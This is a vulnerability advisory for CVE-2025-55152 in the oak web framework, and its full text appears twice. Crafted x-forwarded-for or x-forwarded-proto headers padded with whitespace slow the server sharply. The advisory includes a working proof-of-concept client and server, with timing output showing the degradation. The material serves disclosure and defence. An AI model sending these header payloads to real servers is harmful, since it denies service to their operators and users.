CVE-2025-55152

oak is a middleware framework for Deno's native HTTP server, Deno Deploy, Node.js 16.5 and later, Cloudflare Workers and Bun. In versions 17.1.5 and below, it's possible to significantly slow down an oak server with specially crafted values of the x-forwarded-proto or x-forwarded-for headers.

oak is a middleware framework for Deno's native HTTP server, Deno Deploy, Node.js 16.5 and later, Cloudflare Workers and Bun. In versions 17.1.5 and below, it's possible to significantly slow down an oak server with specially crafted values of the x-forwarded-proto or x-forwarded-for headers.

Summary

With specially crafted value of the x-forwarded-proto or x-forwarded-for headers, it's possible to significantly slow down an oak server.

Vulnerable Code

• https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L87
• https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L142

PoC

• setup

deno --version
deno 2.4.3
v8 13.7.152.14-rusty
typescript 5.8.3

• server.ts

import { Application } from "https://deno.land/x/oak/mod.ts";

const app = new Application({proxy: true});

let i = 1

app.use((ctx) => {

    // let url = ctx.request.url   // test1) x-forwarded-proto
    let ips = ctx.request.ips   // test2) x-forwarded-for
    console.log(`request ${i} received`)
    i++;
    ctx.response.body = "hello";
});

await app.listen({ port: 8080 });

• client.ts

const lengths = [2000, 4000, 8000, 16000, 32000, 64000, 128000]

const data1 = lengths.map(l => 'A' + 'A'.repeat(l) + 'A');
const data2 = lengths.map(l => 'A' + ' '.repeat(l) + 'A');

async function run(data) {
    for (let i = 0; i < data.length; i++) {
        let d = data[i];
        
        const start = performance.now();

        await fetch("http://localhost:8080", {
            headers: {
                // "x-forwarded-proto": d,  // test1)
                "x-forwarded-for": d,    // test2)
            },
        });

        const end = performance.now();
        console.log('length=%d, time=%d ms', d.length, end - start);
    }
}

console.log("\n[+] Test normal behavior")
await run(data1)
console.log("\n[+] Test payloads")
await run(data2)

• run

deno run --allow-net server.ts
deno run --allow-net client.ts

[+] Test normal behavior
length=2002, time=14 ms
length=4002, time=6 ms
length=8002, time=3 ms
length=16002, time=3 ms
length=32002, time=2 ms
length=64002, time=4 ms
length=128002, time=3 ms

[+] Test payloads
length=2002, time=7 ms
length=4002, time=22 ms
length=8002, time=77 ms
length=16002, time=241 ms
length=32002, time=947 ms
length=64002, time=4020 ms
length=128002, time=15840 ms

Impact

A specially crafted value of the x-forwarded-proto or x-forwarded-for headers  can be used to significantly slow down an oak server.

Similar Issues

• https://github.com/denoland/deno/security/advisories/GHSA-jc97-h3h9-7xh6
  • https://github.com/denoland/deno/pull/17722
• https://github.com/websockets/ws/security/advisories/GHSA-6fc8-4gx4-v693
  • https://github.com/websockets/ws/commit/00c425ec77993773d823f018f64a5c44e17023ff

oak is a middleware framework for Deno's native HTTP server, Deno Deploy, Node.js 16.5 and later, Cloudflare Workers and Bun. In versions 17.1.5 and below, it's possible to significantly slow down an oak server with specially crafted values of the x-forwarded-proto or x-forwarded-for headers.

oak is a middleware framework for Deno's native HTTP server, Deno Deploy, Node.js 16.5 and later, Cloudflare Workers and Bun. In versions 17.1.5 and below, it's possible to significantly slow down an oak server with specially crafted values of the x-forwarded-proto or x-forwarded-for headers.

Summary

With specially crafted value of the x-forwarded-proto or x-forwarded-for headers, it's possible to significantly slow down an oak server.

Vulnerable Code

• https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L87
• https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L142

PoC

• setup

deno --version
deno 2.4.3
v8 13.7.152.14-rusty
typescript 5.8.3

• server.ts

import { Application } from "https://deno.land/x/oak/mod.ts";

const app = new Application({proxy: true});

let i = 1

app.use((ctx) => {

    // let url = ctx.request.url   // test1) x-forwarded-proto
    let ips = ctx.request.ips   // test2) x-forwarded-for
    console.log(`request ${i} received`)
    i++;
    ctx.response.body = "hello";
});

await app.listen({ port: 8080 });

• client.ts

const lengths = [2000, 4000, 8000, 16000, 32000, 64000, 128000]

const data1 = lengths.map(l => 'A' + 'A'.repeat(l) + 'A');
const data2 = lengths.map(l => 'A' + ' '.repeat(l) + 'A');

async function run(data) {
    for (let i = 0; i < data.length; i++) {
        let d = data[i];
        
        const start = performance.now();

        await fetch("http://localhost:8080", {
            headers: {
                // "x-forwarded-proto": d,  // test1)
                "x-forwarded-for": d,    // test2)
            },
        });

        const end = performance.now();
        console.log('length=%d, time=%d ms', d.length, end - start);
    }
}

console.log("\n[+] Test normal behavior")
await run(data1)
console.log("\n[+] Test payloads")
await run(data2)

• run

deno run --allow-net server.ts
deno run --allow-net client.ts

[+] Test normal behavior
length=2002, time=14 ms
length=4002, time=6 ms
length=8002, time=3 ms
length=16002, time=3 ms
length=32002, time=2 ms
length=64002, time=4 ms
length=128002, time=3 ms

[+] Test payloads
length=2002, time=7 ms
length=4002, time=22 ms
length=8002, time=77 ms
length=16002, time=241 ms
length=32002, time=947 ms
length=64002, time=4020 ms
length=128002, time=15840 ms

Impact

A specially crafted value of the x-forwarded-proto or x-forwarded-for headers  can be used to significantly slow down an oak server.

Similar Issues

• https://github.com/denoland/deno/security/advisories/GHSA-jc97-h3h9-7xh6
  • https://github.com/denoland/deno/pull/17722
• https://github.com/websockets/ws/security/advisories/GHSA-6fc8-4gx4-v693
  • https://github.com/websockets/ws/commit/00c425ec77993773d823f018f64a5c44e17023ff